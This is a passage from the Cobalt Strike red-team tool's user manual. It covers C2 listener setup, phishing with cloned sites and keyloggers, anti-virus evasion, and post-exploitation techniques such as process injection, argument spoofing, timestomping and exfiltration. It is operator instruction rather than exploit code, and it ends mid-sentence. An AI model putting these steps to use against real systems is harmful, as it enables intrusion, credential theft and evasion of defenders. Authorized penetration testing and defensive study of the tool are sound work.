Listeners, press Add, and select Beacon DNS as the Payload type. Figure 22. DNS Beacon Options Press [+] to add one or more domains to beacon to. Your Cobalt Strike team server system must be authoritative for the domains you specify. Create a DNS A record and point it to your Cobalt Strike team server. Use DNS NS records to delegate several domains or sub-domains to your Cobalt Strike team server’s A record. The DNS Host (Stager) field configures the DNS Beacon’s TXT record stager. This stager is only used with Cobalt Strike features that require an explicit stager. Your Cobalt Strike team server system must be authoritative for this domain as well. To test your DNS configuration, open a terminal and type nslookup jibberish.beacon domain. If you get an A record reply of 0.0.0.0—then your DNS is correctly setup. If you do not get a reply, then your DNS configuration is not correct and the DNS Beacon will not communicate with you. Make sure your DNS records reference the primary address on your network interface. Cobalt Strike’s DNS server will always send responses from your network interface’s primary address. DNS resolvers tend to drop replies when they request information from one server, but receive a reply from another. www.cobaltstrike.com/ / 27/ If you are behind a NAT device, make sure that you use your public IP address for the NS record and set your firewall to forward UDP traffic on port 53 to your system. Cobalt Strike includes a DNS server to control Beacon. 4.7 SMB Beacon The SMB Beacon uses named pipes to communicate through a parent Beacon. This peer-to-peer communication works with Beacons on the same host. It also works across the network. Windows encapsulates named pipe communication within the SMB protocol. Hence, the name, SMB Beacon. To configure an SMB Beacon payload, go to Cobalt Strike -> Listeners. Press Add. Choose Beacon SMB as your payload option. Figure 23. SMB Beacon The only option associated with the SMB Beacon is the pipename. You can set an explicit pipename or accept the default option. The SMB Beacon is compatible with most actions in Cobalt Strike that spawn a payload. The exception to this are the user-driven attacks (e.g., Attacks -> Packages, Attacks -> Web Drive- by) that require explicit stagers. Cobalt Strike post-exploitation and lateral movement actions that spawn a payload will attempt to assume control of (link) to the SMB Beacon payload for you. If you run the SMB Beacon manually, you will need to link to it from a parent Beacon. Linking and Unlinking From the Beacon console, use link [host] [pipe] to link the current Beacon to an SMB Beacon that is waiting for a connection. When the current Beacon checks in, its linked peers will check in too. To blend in with normal traffic, linked Beacons use Windows named pipes to communicate. This traffic is encapsulated in the SMB protocol. There are a few caveats to this approach: 1. Hosts/with/an/SMB/Beacon/must/accept/connections/on/port/445./ 2. You/may/only/link/Beacons/managed/by/the/same/Cobalt/Strike/instance./ / www.cobaltstrike.com/ / 28/ If you get an error 5 (access denied) after you try to link to a Beacon: steal a domain user’s token or use make_token DOMAIN\user password to populate your current token with valid credentials for the target. Try to link to the Beacon again. To destroy a Beacon link use unlink [ip address] [session PID] in the parent or child. The [session PID] argument is the process ID of the Beacon to unlink. This value is how you specify a specific Beacon to de-link when there are multiple childn Beacons. When you de-link an SMB Beacon, it does not exit and go away. Instead, it goes into a state where it waits for a connection from another Beacon. You may use the link command to resume control of the SMB Beacon from another Beacon in the future. 4.8 TCP Beacon The TCP Beacon uses a TCP socket to communicate through a parent Beacon. This peer-to-peer communication works with Beacons on the same host and across the network. Figure 24. TCP Beacon To configure a TCP Beacon payload, go to Cobalt Strike -> Listeners. Press Add. Choose Beacon TCP as your payload option. The TCP Beacon configured in this way is a bind payload. A bind payload is one that waits for a connection from its controller (in this case, another Beacon session). The Port (C2) option controls the port the TCP Beacon will wait for connections on. Check Bind to localhost only to have the TCP Beacon bind to 127.0.0.1 when it listens for a connection. This is a good option if you use the TCP Beacon for localhost-only actions. The TCP Beacon is compatible with most actions in Cobalt Strike that spawn a payload. The exception to this are, similar to the SMB Beacon, the user-driven attacks (e.g., Attacks -> Packages, Attacks -> Web Drive-by) that require explicit stagers. Cobalt Strike post-exploitation and lateral movement actions that spawn a payload will attempt to assume control of (connect) to the TCP Beacon payload for you. If you run the TCP Beacon manually, you will need to connect to it from a parent Beacon. www.cobaltstrike.com/ / 29/ Connecting and Unlinking From the Beacon console, use connect [ip address] [port] to connect the current session to a TCP Beacon that is waiting for a connection. When the current session checks in, its linked peers will check in too. To destroy a Beacon link use unlink [ip address] [session PID] in the parent or child session console. Later, you may reconnect to the TCP Beacon from the same host (or a different host). 4.9 External C2 External C2 is a specification to allow third-party programs to act as a communication layer for Cobalt Strike’s Beacon payload. These third-party programs connect to Cobalt Strike to read frames destined for, and write frames with output from payloads controlled in this way. The External C2 server is what these third-party programs use to interface with your Cobalt Strike team server. Go to Cobalt Strike -> Listeners, press Add, and choose External C2 as your payload. Figure 25. External C2 The External C2 interface has two options. Port (Bind) specifies the port the External C2 server waits for connections on. Check Bind to localhost only to make the External C2 server localhost- only. External C2 listeners are not like other Cobalt Strike listeners. You cannot target these with Cobalt Strike’s post-exploitation actions. This option is just a convienence to stand up the interface itself. To learn more about External C2, visit the documentation at: https://www.cobaltstrike.com/help-externalc2 www.cobaltstrike.com/ / 30/ 4.10 Foreign Listeners Cobalt Strike supports the concept of foreign listeners. These are aliases for x86 payload handlers hosted in the Metasploit Framework or other instances of Cobalt Strike. To pass a Windows HTTPS Meterpreter session to a friend with msfconsole, setup a Foreign HTTPS payload and point the Host and Port values to their handler. You may use foreign listeners anywhere you would use an x86 Cobalt Strike listener. 4.11 Infrastructure Consolidation Cobalt Strike’s model for distributed operations is to stand up a separate team server for each phase of your engagement. For example, it makes sense to separate your post-exploitation and persistence infrastructure. If a post-exploitation action is discovered, you don’t want the remediation of that infrastructure to clear out the callbacks that will let you back into the network. Some engagement phases require multiple redirector and communication channel options. Cobalt Strike 4.0 is friendly to this. Figure 26. Infrastructure Consolidation Features You can bind multiple HTTP, HTTPS, and DNS listeners to a single Cobalt Strike team server. These payloads also support port bending in their configuration. This allows you to use the common port for your channel (80, 443, or 53) in your redirector and C2 setups, but bind these listeners to different ports to avoid port conflicts on your team server system. www.cobaltstrike.com/ / 31/ To give variety to your network indicators, Cobalt Strike’s Malleable C2 profiles may contain multiple variants. A variant is a way of adding variations of the current profile into one profile file. You may specify a Profile variant when you define each HTTP or HTTPS Beacon listener. Further, you can define multiple TCP and SMB Beacons on one team server, each with different pipe and port configurations. Any egress Beacon, from the same team server, can control any of these TCP or SMB Beacon payloads once they’re deployed in the target environment. 4.12 Payload Security Features Cobalt Strike takes steps to protect Beacons communication and to ensure that a Beacon can only receive tasks from and send output to its team server. When you setup the Beacon payload for the first time, Cobalt Strike will generate a public/private key pair that is unique to your team server. The team server’s public key is embedded into Beacon’s payload stage. Beacon uses the team server’s public key to encrypt session metadata that it sends to the team server. Beacon must always send session metadata before the team server can issue tasks and receive output from the Beacon session. This metadata contains a random session key generated by that Beacon. The team server uses each Beacon’s session key to encrypt tasks and to decrypt output. Each Beacon implementation and data channel uses this same scheme. You have the same security with the A record data channel in the Hybrid HTTP and DNS Beacon as you do with the HTTPS Beacon. Be aware that the above applies to Beacon once it is staged. The payload stagers, due to their size, do not have built-in security features. www.cobaltstrike.com/ / 32/ 5. Getting a Foothold 5.1 Client-side System Profiler The system profiler is a reconnaissance tool for client-side attacks. This tool starts a local web- server and fingerprints any one who visits it. The system profiler provides a list of applications and plugins it discovers through the user’s browser. The system profiler also attempts to discover the internal IP address of users who are behind a proxy server. To start the system profiler, go to Attacks -> Web Drive-by -> System Profiler. To start the profiler you must specify a URI to bind to and a port to start the Cobalt Strike web- server from. If you specify a Redirect URL, Cobalt Strike will redirect visitors to this URL once their profile is taken. Click Launch to start the system profiler. The System Profiler uses an unsigned Java Applet to decloak the target’s internal IP address and determine which version of Java the target has. With Java’s click-to-run security feature—this could raise suspicion. Uncheck the Use Java Applet to get information box to remove the Java Applet from the System Profiler. Check the Enable SSL box to serve the System Profiler over SSL. This box is disabled unless you specify a valid SSL certificate with Malleable C2. Chapter 11 discusses this. To view the results from the system profiler, go to View -> Applications. Cobalt Strike will list all of the applications it discovered during the system profiling process. 5.2 Cobalt Strike Web Services Many Cobalt Strike features run from their own web server. These services include the system profiler, HTTP Beacon, and Cobalt Strike’s web drive-by attacks. It’s OK to host multiple Cobalt Strike features on one web server. To manage Cobalt Strike’s web services, go to View -> Web Drive-by -> Manage. Here, you may copy any Cobalt Strike URL to the clipboard or stop a Cobalt Strike web service. Use View -> Web Log to monitor visits to your Cobalt Strike web services. If Cobalt Strike’s web server sees a request from the Lynx, Wget, or Curl browser; Cobalt Strike will automatically return a 404 page. Cobalt Strike does this as light protection against blue team snooping. 5.3 User-driven Attack Packages The best attacks are not exploits. Rather, the best attacks take advantage of normal features to get code execution. Cobalt Strike makes it easy to setup several user-driven attacks. These attacks take advantage of listeners you’ve already setup. Navigate to Attacks -> Packages and choose one of the following options. www.cobaltstrike.com/ / 33/ HTML Application An HTML Application is a Windows program written In HTML and an Internet Explorer- supported scripting language. This package generates an HTML Application that runs a Cobalt Strike payload. You may choose the Executable option to get an HTML Application that drops an executable to disk and runs it. Choose the PowerShell option to get an HTML Application that uses PowerShell to run a payload. Use the VBA option to silently spawn a Microsoft Excel instance and run a malicious macro that injects a payload into memory. MS Office Macro This package generates a Microsoft Office macro and presents instructions to embed the macro in Microsoft Word or Microsoft Excel. Payload Generator This package allows you to export Cobalt Strike’s stagers in a variety of formats. Windows Executable This package generates a Windows executable artifact that delivers a payload stager. This package gives you several output options. Windows EXE is a Windows executable. Windows Service EXE is a Windows executable that responds to Service Control Manager commands. You may use this executable to create a Windows service with sc or as a custom executable with the Metasploit Framework’s PsExec modules. Windows DLL (32-bit) is an x86 Windows DLL. Windows DLL (64-bit) is an x64 Windows DLL. This DLL will spawn a 32-bit process and migrate your listener to it. Both DLL options export a Start function that is compatible with rundll32.exe. Use rundll32.exe to load your DLL from the command line. rundll32 foo.dll,Start Check the Use x64 payload box to generate x64 artifacts that pair with an x64 stager. Check the Sign executable file box to sign an EXE or DLL artifact with a code-signing certificate. You must specify a certificate in a Malleable C2 profile. Windows Executable (S) This package exports Beacon, without a stager, as an executable, service executable, 32-bit DLL, or 64-bit DLL. A payload artifact that does not use a stager is called a stageless artifact. This package also has a PowerShell option to export Beacon as a PowerShell script and a raw option to export Beacon as a blob of position independent code. By default, this dialog exports x86 payload stages. Check the Use x64 payload box to generate an x64 stage with an x64 artifact. www.cobaltstrike.com/ / 34/ Check the Sign executable file box to sign an EXE or DLL artifact with a code-signing certificate. 5.4 Hosting Files Cobalt Strike’s web server can host your user-driven packages for you. Go to Attacks -> Web Drive-by -> Host File to set this up. Choose the file to host, select an arbitrary URL, and choose the mime type for the file. By itself, the capability to host a file isn’t very impressive. However, in a moment, you will learn how to embed Cobalt Strike URLs into a spear phishing email. When you do this, Cobalt Strike can cross-reference visitors to your file with sent emails and include this information in the social engineering report. 5.5 User-driven Web Drive-by Attacks Cobalt Strike makes several tools to setup web drive-by attacks available to you. To quickly start an attack, go to Attacks -> Web Drive-by and choose an option: Java Signed Applet Attack This attack starts a web server hosting a self-signed Java applet. Visitors are asked to give the applet permission to run. When a visitor grants this permission, you gain access to their system. The Java Signed Applet Attack uses Cobalt Strike’s Java injector. On Windows, the Java injector will inject shellcode for a Windows listener directly into memory for you. To get the most mileage from this attack, you will want to download the Applet Kit from the Cobalt Strike arsenal and sign it with a code signing certificate. Java Smart Applet Attack Cobalt Strike’s Smart Applet Attack combines several exploits to disable the Java security sandbox into one package. This attack starts a web server hosting a Java applet. Initially, this applet runs in Java’s security sandbox and it does not require user approval to start. The applet analyzes its environment and decides which Java exploit to use. If the Java version is vulnerable, the applet will disable the security sandbox, and execute a payload using Cobalt Strike’s Java injector. Scripted Web Delivery (S) This feature generates a stageless Beacon payload artifact, hosts it on Cobalt Strike’s web server, and presents a one-liner to download and run the artifact. The options are: bitsadmin, powershell, and python. The bitsadmin option hosts an executable and uses bitsadmin to download it. The bitsadmin method runs the executable via cmd.exe. The exe option generates an executable and hosts it on Cobalt Strike's web server. The powershell option hosts a PowerShell script and uses powershell.exe to download the script and evaluate it. The python option hosts a Python script and uses python.exe to download the script and run it. Each of these options is a different way to run a Cobalt Strike listener. www.cobaltstrike.com/ / 35/ 5.6 Client-side Exploits You may use a Metasploit Framework exploit to deliver a Cobalt Strike Beacon. Cobalt Strike’s Beacon is compatible with the Metasploit Framework’s staging protocol. To deliver a Beacon with a Metasploit Framework exploit: • Use/windows/meterpreter/reverse_http[s]/as/your/PAYLOAD/and/set/LHOST/and/ LPORT/to/point/to/your/Cobalt/Strike/listener./You’re/not/really/delivering/ Meterpreter/here,/you’re/telling/the/Metasploit/Framework/to/generate/the/HTTP[s]/ stager/that/downloads/a/payload/from/the/specified/LHOST/LPORT.// • Set/DisablePayloadHandler/to/True./This/will/tell/the/Metasploit/Framework/to/avoid/ standing/up/a/handler/within/the/Metasploit/Framework/to/service/your/payload/ connection./ • Set/PrependMigrate/to/True./This/option/tells/the/Metasploit/Framework/to/prepend/ shellcode/that/runs/the/payload/stager/in/another/process./This/helps/your/Beacon/ session/survives/if/the/exploited/application/crashes/or/if/it’s/closed/by/a/user./ Here’s a screenshot of msfconsole used to stand up a Flash Exploit to deliver Cobalt Strike’s HTTP Beacon hosted at 192.168.1.5 on port 80: Figure 27. Using Client-side Attacks from Metasploit 5.7 Clone a Site Before sending an exploit to a target, it helps to dress it up. Cobalt Strike’s website clone tool can help with this. The website clone tool makes a local copy of a website with some code added to fix links and images so they work as expected. To clone a website, go to Attacks -> Web Drive-by -> Clone Site. www.cobaltstrike.com/ / 36/ It’s possible to embed an attack into a cloned site. Write the URL of your attack in the Embed field and Cobalt Strike will add it to the cloned site with an IFRAME. Click the ... button to select one of the running client-side exploits. Figure 28. Website Clone Tool Cloned websites can also capture keystrokes. Check the Log keystrokes on cloned site box. This will insert a JavaScript key logger into the cloned site. To view logged keystrokes or see visitors to your cloned site, go to View -> Web Log. 5.8 Spear Phishing Targets Now that you have an understanding of client-side attacks, let’s talk about how to get the attack to the user. The most common way into an organization’s network is through spear phishing. Before you send a phishing message, you should assemble a list of targets. Cobalt Strike expects targets in a text file. Each line of the file contains one target. The target may be an email address. You may also use an email address, a tab, and a name. If provided, a name helps Cobalt Strike customize each phish. Templates Next, you need a phishing template. The nice thing about templates is that you may reuse them between engagements. Cobalt Strike uses saved email messages as its templates. Cobalt Strike will strip attachments, deal with encoding issues, and rewrite each template for each phishing attack. If you’d like to create a custom template, compose a message and send it to yourself. Most email clients have a way to get the original message source. In Gmail, click the down arrow next to Reply and select Show original. Save this message to a file and then congratulate yourself— you’ve made your first Cobalt Strike phishing template. www.cobaltstrike.com/ / 37/ You may want to customize your template with Cobalt Strike’s tokens. Cobalt Strike replaces the following tokens in your templates: Token Description %To% The email address of the person the message is sent to %To_Name% The name of the person the message is sent to. %URL% The contents of the Embed URL field in the spear phishing dialog. Sending Messages Now that you have your targets and a template, you’re ready to go phishing. To start the spear phishing tool, go to Attacks -> Spear Phish. Figure 29. Spear Phishing Tool To send a phishing message, you must first import your targets. Click the folder next to the Targets field to import your targets file. Next, choose your template file. Click on the folder next to the Template field to choose one. Now, you have the option to attach a file if you choose. This is a great time to use one of the social engineering packages discussed earlier. Cobalt Strike will add your attachment to the outgoing phishing message. You may also ask Cobalt Strike to rewrite all URLs in the template with a URL of your choosing. Paste in the URL or press ... to choose one of the tools hosted by Cobalt Strike. Cobalt Strike tools include cloned websites, the auto-exploit server, and the system profiler. When you embed a URL, Cobalt Strike will attach ?id=%TOKEN% to it. Each sent message will get its own token. Cobalt Strike uses this token to map website visitors to sent emails. If you care about reporting, be sure to keep this value in place. www.cobaltstrike.com/ / 38/ Set Mail Server to an open relay or the mail exchange record for your target. If necessary, you may also authenticate to a mail server to send your phishing messages. Press … next to the Mail Server field to configure additional server options. You may specify a username and password to authenticate with. The Random Delay option tells Cobalt Strike to randomly delay each message by a random time, up to the number of seconds you specify. If this option is not set, Cobalt Strike will not delay its messages. Figure 30. Configure Mail Server Set Bounce To to an email address where bounced messages should go. This value will not affect the message your targets see. Press Preview to see an assembled message to one of your recipients. If the preview looks good, press Send to deliver your attack. Cobalt Strike sends phishing messages through the team server. www.cobaltstrike.com/ / 39/ 6. Payload Artifacts and Anti-virus Evasion 6.1 Philosophy Strategic Cyber LLC regularly fields questions that ask about evasion. Does Cobalt Strike bypass anti-virus products? Which anti-virus products does it bypass? How often is this checked? The Cobalt Strike default artifacts are likely snagged by most endpoint security solutions. Evasion is not a goal of the default Cobalt Strike product. Cobalt Strike’s does offer flexibility. You, the operator, may change the executables, DLLs, applets, and script templates Cobalt Strike uses in its workflows. You may also export Cobalt Strike’s Beacon payload in a variety of formats that work with third-party tools designed to assist with evasion. This chapter will highlight the Cobalt Strike features that provide this flexibility. 6.2 The Artifact Kit Cobalt Strike uses the Artifact Kit to generate its executables and DLLs. The Artifact Kit is a source code framework to build executables and DLLs that evade some anti-virus products. The Theory of the Artifact Kit Traditional anti-virus products use signatures to identify known bad. If we embed our known bad shellcode into an executable, an anti-virus product will recognize the shellcode and flag the executable as malicious. To defeat this detection, it’s common for an attacker to obfuscate the shellcode in some way and place it in the binary. This obfuscation process defeats anti-virus products that use a simple string search to identify malicious code. Many anti-virus products go a step further. These anti-virus products simulate execution of an executable in a virtual sandbox. With each emulated step of execution, the anti-virus product checks for known bad in the emulated process space. If known bad shows up, the anti-virus product flags the executable or DLL as malicious. This technique defeats many encoders and packers that try to hide known bad from signature-based anti-virus products. Cobalt Strike’s counter to this is simple. The anti-virus sandbox has limitations. It is not a complete virtual machine. There are system behaviors the anti-virus sandbox does not emulate. The Artifact Kit is a collection of executable and DLL templates that rely on some behavior that anti-virus product’s do not emulate to recover shellcode located inside of the binary. One of the techniques [see: src-common/bypass-pipe.c in the Artifact Kit] generates executables and DLLs that serve shellcode to themselves over a named pipe. If an anti-virus sandbox does not emulate named pipes, it will not find the known bad shellcode. www.cobaltstrike.com/ / 40/ Where Artifact Kit Fails Of course it’s possible for anti-virus products to defeat specific implementations of the Artifact Kit. If an anti-virus vendor writes signatures for the Artifact Kit technique you use, then the executables and DLLs it creates will get caught. This started to happen, over time, with the default bypass technique in Cobalt Strike 2.5 and below. If you want to get the most from the Artifact Kit, you will use one of its techniques as a base to build your own Artifact Kit implementation. Even that isn’t enough though. Some anti-virus products call home to the anti-virus vendor’s servers. There the vendor makes a determination if the executable or DLL is known good or an unknown, never before seen, executable or DLL. Some of these products automatically send unknown executables and DLLs to the vendor for further analysis and warn the users. Others treat unknown executables and DLLs as malicious. It depends on the product and its settings. The point: no amount of “obfuscation” is going to help you in this situation. You’re up against a different kind of defense and will need to work around it accordingly. Treat these situations the same way you would treat application whitelisting. Try to find a known good program (e.g., powershell) that will get your payload stager into memory. How to use the Artifact Kit Go to Help -> Arsenal from a licensed Cobalt Strike to download the Artifact Kit. You can also access the Arsenal directly at: https://www.cobaltstrike.com/scripts Strategic Cyber LLC distributes the Artifact Kit as a .tgz file. Use the tar command to extract it. The Artifact Kit includes a build.sh script. Run this script on Kali Linux, with no arguments, to build the default Artifact Kit techniques with the Minimal GNU for Windows Cross Compiler. Figure 31. The Artifact Kit Build Process The Artifact Kit build script creates a folder with template artifacts for each Artifact Kit technique. To use a technique with Cobalt Strike, go to Cobalt Strike -> Script Manager, and load the artifact.cna script from that technique’s folder. You’re encouraged to modify the Artifact Kit and its techniques to make it meet your needs. While skilled C programmers can do more with the Artifact Kit, it’s quite feasible for an www.cobaltstrike.com/ / 41/ adventurous non-programmer to work with the Artifact Kit too. For example, a major anti-virus product likes to write signatures for the executables in Cobalt Strike’s trial each time there is a release. Up until Cobalt Strike 2.5, the trial and licensed versions of Cobalt Strike used the named pipe technique in its executables and DLLs. This vendor would write a signature for the named pipe string the executable used. Defeating their signatures, release after release, was as simple as changing the name of the pipe in the pipe technique’s source code. 6.3 The Veil Evasion Framework Veil is a popular framework to generate executables that get past some anti-virus products. You may use Veil to generate executables for Cobalt Strike’s payloads. Go to Attacks -> Packages - > Payload Generator. Choose the listener you want to generate an executable for. Select Veil as the Output type. Press Generate and save the file. Launch the Veil Evasion Framework and choose the technique you want to use. Veil will eventually ask about shellcode. Select Veil’s option to supply custom shellcode. Paste in the contents of the file Cobalt Strike’s payload generator made. Press enter and you will have a fresh Veil-made executable. Figure 32. Using Veil to Generate an Executable 6.4 Java Applet Attacks Strategic Cyber LLC distributes the source code to Cobalt Strike’s Applet Attacks as the Applet Kit. This is also available within the Cobalt Strike arsenal. Go to Help -> Arsenal and download the Applet Kit. Use the included build.sh script to build the Applet Kit on Kali Linux. Many Cobalt Strike customers use this flexibility to sign Cobalt Strike’s Java Applet attacks with a code-signing certificate that they purchased. This is highly recommended. To make Cobalt Strike use your Applet Kit over the built-in one, load the applet.cna script included with the Applet Kit. www.cobaltstrike.com/ / 42/ On the Cobalt Strike Arsenal Page you will also notice the Power Applet. This is an alternate implementation of Cobalt Strike’s Java Applet attacks that uses PowerShell to get a payload into memory. The Power Applet demonstrates the flexibility you have to recreate Cobalt Strike’s standard attacks in a completely different way and still use them with Cobalt Strike’s workflows. To make Cobalt Strike use your Applet Kit over the built-in one, load the applet.cna script included with the Applet Kit. 6.5 The Resource Kit The Resource Kit is Cobalt Strike’s means to change the HTA, PowerShell, Python, VBA, and VBS script templates Cobalt Strike uses in its workflows. Again, the Resource Kit is available to licensed users in the Cobalt Strike arsenal. Go to Help -> Arsenal to download the Resource Kit. The README.txt IIed with the Resource Kit documents the included scripts and which features use them. To evade a product, consider changing strings or behaviors in these scripts. To make Cobalt Strike use your script templates over the built-in script templates, load the resources.cna script included with the Resource Kit. www.cobaltstrike.com/ / 43/ 7. Post Exploitation 7.1 The Beacon Console Right-click on a Beacon session and select interact to open that Beacon’s console. The console is the main user interface for your Beacon session. The Beacon console allows you to see which tasks were issued to a Beacon and to see when it downloads them. The Beacon console is also where command output and other information will appear. Figure 33. Cobalt Strike Beacon Console In between the Beacon console’s input and output is a status bar. This status bar contains information about the current session. In its default configuration, the statusbar shows the target’s NetBIOS name, the username and PID of the current session, and the Beacon’s last check-in time. Each command that’s issued to a Beacon, whether through the GUI or the console, will show up in this window. If a teammate issues a command, Cobalt Strike will pre-fix the command with their handle. You will likely spend most of your time with Cobalt Strike in the Beacon console. It’s worth your time to become familiar with its commands. Type help in the Beacon console to see available commands. Type help followed by a command name to get detailed help. 7.2 The Beacon Menu Right-click on a Beacon or inside of a Beacon’s console to access the Beacon menu. This is the same menu used to open the Beacon console. The Access menu contains options to manipulate trust material and elevate your access. The Explore menu consists of options to extract information and interact with the target’s system. The Pivoting menu is where you can setup tools to tunnel traffic through a Beacon. The Session menu is where you manage the current Beacon session. www.cobaltstrike.com/ / 44/ Figure 34. Cobalt Strike Beacon Menu Some of Cobalt Strike’s visualizations (the pivot graph and sessions table) let you select multiple Beacons at one time. Most actions that happen through this menu will apply to all selected Beacon sessions. 7.3 Asynchronous and Interactive Operations Be aware that Beacon is an asynchronous payload. Commands do not execute right away. Each command goes into a queue. When the Beacon checks in (connects to you), it will download these commands and execute them one by one. At this time, Beacon will also report any output it has for you. If you make a mistake, use the clear command to clear the command queue for the current Beacon. By default, Beacons check in every sixty seconds. You may change this with Beacon’s sleep command. Use sleep followed by a time in seconds to specify how often Beacon should check in. You may also specify a second number between 0 and 99. This number is a jitter factor. Beacon will vary each of its check in times by the random percentage you specify as a jitter factor. For example, sleep 300 20, will force Beacon to sleep for 300 seconds with a 20% jitter percentage. This means, Beacon will sleep for a random value between 240s to 300s after each check-in. To make a Beacon check in multiple times each second, try sleep 0. This is interactive mode. In this mode commands will execute right away. You must make your Beacon interactive before you tunnel traffic through it. A few Beacon commands (e.g., browserpivot, desktop, etc.) will automatically put Beacon into interactive mode at the next check in. 7.4 Running Commands Beacon’s shell command will task a Beacon to execute a command via cmd.exe on the compromised host. When the command completes, Beacon will present the output to you. Use the run command to execute a command without cmd.exe. The run command will post output to you. The execute command runs a program in the background and does not capture output. www.cobaltstrike.com/ / 45/ Use the powershell command to execute a command with PowerShell on the compromised host. Use the powerpick command to execute PowerShell cmdlets without powershell.exe. This command relies on the Unmanaged PowerShell technique developed by Lee Christensen. The powershell and powerpick commands will use your current token. The psinject command will inject Unmanaged PowerShell into a specific process and run your cmdlet from that location. The powershell-import command will import a PowerShell script into Beacon. Future uses of the powershell, powerpick, and psinject commands will have cmdlets from the imported script available to them. Beacon will only hold one PowerShell script at a time. Import an empty file to clear the imported script from Beacon. The execute-assembly command will run a local .NET executable as a Beacon post-exploitation job. You may pass arguments to this assembly as if it were run from a Windows command-line interface. This command will also inherit your current token. If you want Beacon to execute commands from a specific directory, use the cd command in the Beacon console to switch the working directory of the Beacon’s process. The pwd command will tell you which directory you’re currently working from. The setenv command will set an environment variable. Beacon can execute Beacon Object Files without creating a new process. Beacon Object Files are compiled C programs, written to a specific convention, that run within a Beacon session. Use inline-execute [args] to execute a Beacon Object File with the specified arguments. More information Beacon Object Files is at: https://www.cobaltstrike.com/help-beacon-object-files 7.5 Session Passing Cobalt Strike’s Beacon started out as a stable lifeline to keep access to a compromised host. From day one, Beacon’s primary purpose was to pass accesses to other Cobalt Strike listeners. Use the spawn command to spawn a session for a listener. The spawn command accepts an architecture (e.g., x86, x64) and a listener as its arguments. By default, the spawn command will spawn a session in rundll32.exe. An alert administrator may find it strange that rundll32.exe is periodically making connections to the internet. Find a better program (e.g., Internet Explorer) and use the spawnto command to state which program Beacon should spawn for its sessions. The spawnto command requires you to specify an architecture (x86 or x64) and a full path to a program to spawn, as needed. Type spawnto by itself and press enter to instruct Beacon to go back to its default behavior. www.cobaltstrike.com/ / 46/ Type inject followed by a process id and a listener name to inject a session into a specific process. Use ps to get a list of processes on the current system. Use inject [pid] x64 to inject a 64-bit Beacon into an x64 process. The spawn and inject commands both inject a payload stage into memory. If the payload stage is an HTTP, HTTPS, or DNS Beacon and it can’t reach you—you will not see a session. If the payload stage is a bind TCP or SMB Beacon, these commands will automatically try to link to and assume control of these payloads. Use dllinject [pid] to inject a Reflective DLL into a process. Use the shinject [pid] [architecture] [/path/to/file.bin] command to inject shellcode, from a local file, into a process on target. Use shspawn [architecture] [/path/to/file.bin] to spawn the “spawn to” process and inject the specified shellcode file into that process. Use dllload [pid] [c:\path\to\file.dll] to load an on-disk DLL in another process. 7.6 Alternate Parent Processes Use ppid [pid] to assign an alternate parent process for programs run by your Beacon session. This is a means to make your activity blend in with normal actions on the target. The current Beacon session must have rights to the alternate parent and it’s best if the alternate parent process exists in the same desktop session as your Beacon. Type ppid, with no arguments, to have Beacon launch processes with no spoofed parent. The runu command will execute a command with another process as the parent. This command will run with the rights and desktop session of its alternate parent process. The current Beacon session must have full rights to the alternate parent. The spawnu command will spawn a temporary process, as a child of a specified process, and inject a Beacon payload stage into it. The spawnto value controls which program is used as a temporary process. 7.7 Spoof Process Arguments Each Beacon has an internal list of commands it should spoof arguments for. When Beacon runs a command that matches a list, Beacon: 1. Starts the matched process in a suspended state (with the fake arguments) 2. Updates the process memory with the real arguments 3. Resumes the process The effect is that host instrumentation recording a process launch will see the fake arguments. This helps mask your real activity. Use argue [command] [fake arguments] to add a command to this internal list. The [command] portion may contain an environment variable. Use argue [command] to remove a command from this internal list. argue, by itself, lists the commands in this internal list. The process match logic is exact. If Beacon tries to launch “net.exe”, it will not match net, NET.EXE, or c:\windows\system32\net.exe from its internal list. It will only match net.exe. www.cobaltstrike.com/ / 47/ x86 Beacon can only spoof arguments in x86 child processes. Likewise, x64 Beacon can only spoof arguments in x64 child processes. The real arguments are written to the memory space that holds the fake arguments. If the real arguments are longer than the fake arguments, the command launch will fail. 7.8 Blocking DLLs in Child Processes Use blockdlls start to ask Beacon to launch child processes with a binary signature policy that blocks non-Microsoft DLLs from the process space. Use blockdlls stop to disable this behavior. This feature requires Windows 10. 7.9 Upload and Download Files The download command will download the requested file. You do not need to provide quotes around a filename with spaces in it. Beacon is built for low and slow exfiltration of data. During each check-in, Beacon will download a fixed chunk of each file its tasked to get. The size of this chunk depends on Beacon’s current data channel. The HTTP and HTTPS channels pull data in 512KB chunks. Type downloads to see a list of file downloads in progress for the current Beacon. Use the cancel command, followed by a filename, to cancel a download that’s in progress. You may use wildcards with your cancel command to cancel multiple file downloads at once. Go to View -> Downloads in Cobalt Strike to see the files that your team has downloaded so far. Only completed downloads will show up in this tab. Downloaded files are stored on the team server. To bring files back to your system, highlight them here, and press Sync Files. Cobalt Strike will then download the selected files to a folder of your choosing on your system. The upload command will upload a file to the host. When you upload a file, you will sometimes want to update its timestamps to make it blend in with other files in the same folder. Use the timestomp command to do this. The timestomp command will match the Modified, Accessed, and Created times of one file to another file. 7.10 File Browser Beacon’s File Browser is an opportunity to explore the files on a compromised system. Go to [Beacon] -> Explore -> File Browser to open it. The file browser will request a listing for the current working directory of Beacon. When this result arrives, the file browser will populate. The left-hand side of the file browser is a tree which organizes the known drives and folders into one view. The right-hand side of the file browser shows the contents of the current folder. www.cobaltstrike.com/ / 48/ Figure 35. File Browser Each file browser caches the folder listings it receives. A colored folder indicates the folder’s contents are in this file browser’s cache. You may navigate to cached folders without generating a new file listing request. Press Refresh to ask Beacon to update the contents of the current folder. A dark-grey folder means the folder’s contents are not in this file browser’s cache. Click on a folder in the tree to have Beacon generate a task to list the contents of this folder (and update its cache). Double-click on a dark-grey folder in the right-hand side current folder view to do the same. To go up a folder, press the folder button next to the file path above the right-hand side folder details view. If the parent folder is in this file browser’s cache, you will see the results immediately. If the parent folder is not in the file browser’s cache, the browser will generate a task to list the contents of the parent folder. Right-click a file to download or delete it. To see which drives are available, press List Drives. 7.11 File System Commands You may prefer to browse and manipulate the file system from the Beacon console. You can do this too. Use the ls command to list files in the current directory. Use mkdir to make a directory. rm will remove a file or folder. cp copies a file to a destination. mv moves a file. 7.12 The Windows Registry Use reg_query [x86|x64] [HIVE\path\to\key] to query a specific key in the registry. This command will print the values within that key and a list of any subkeys. The x86/x64 option is required and forces Beacon to use the WOW64 (x86) or native view of the registry. reg_query [x86|x64] [HIVE\path\to\key] [value] will query a specific value within a registry key. www.cobaltstrike.com/ / 49/ 7.13 Keystrokes and Screenshots Beacon’s tools to log keystrokes and take screenshots are designed to inject into another process and report their results to your Beacon. To start the keystroke logger, use keylogger pid to inject into an x86 